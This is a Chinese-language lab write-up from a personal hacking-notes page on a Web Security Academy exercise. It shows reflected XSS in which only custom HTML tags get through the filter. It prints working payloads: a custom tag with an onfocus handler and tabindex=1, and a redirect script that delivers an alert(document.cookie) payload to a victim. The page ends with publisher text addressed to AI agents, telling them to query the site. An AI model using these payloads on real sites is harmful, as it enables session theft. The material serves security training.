> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-custom-tags-only.md).

# 仅使用自定义标签的反射型 XSS

### 反射型 XSS 注入到 HTML 上下文中，除自定义标签外所有标签均被阻止

此应用阻止所有“经典”HTML 标签；仅允许自定义元素。实验目标是注入一个会自动执行的自定义标签 `alert(document.cookie)` （这里你想通过 alert 窃取会话 cookie）。

观察与方法（改写）

* 由于所有标准标签都被过滤，技巧是定义/插入一个浏览器会接受的自定义标签。
* 自定义标签可以包含事件处理器——但某些事件只有在元素能够获得焦点时才会触发。
* 默认情况下，自定义元素不可聚焦；因此需要通过添加 `tabindex=1` 来强制获得焦点，以便在交互时（例如点击或按 Tab 键）触发相关事件。

<figure><img src="/files/9673f37c9462df41bcddad7cc2f5d0157fd312e6" alt=""><figcaption></figcaption></figure>

1. 简单标签——不可聚焦（不会执行 alert）：

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. 同样的标签，通过添加 `tabindex` — `onfocus` 即可生效：

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="/files/259bb20007fece003fb5f059218495b2385a4ecf" alt=""><figcaption></figcaption></figure>

最终概念验证（通过重定向进行数据外带）

* 我们构造一个 URL，在其中注入带有一个 `onfocus` 调用 `alert(document.cookie)` 并通过 `tabindex=1`.
* 发送给受害者的示例载荷（注入内容在 URL 中编码于 `search` 参数中）：

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
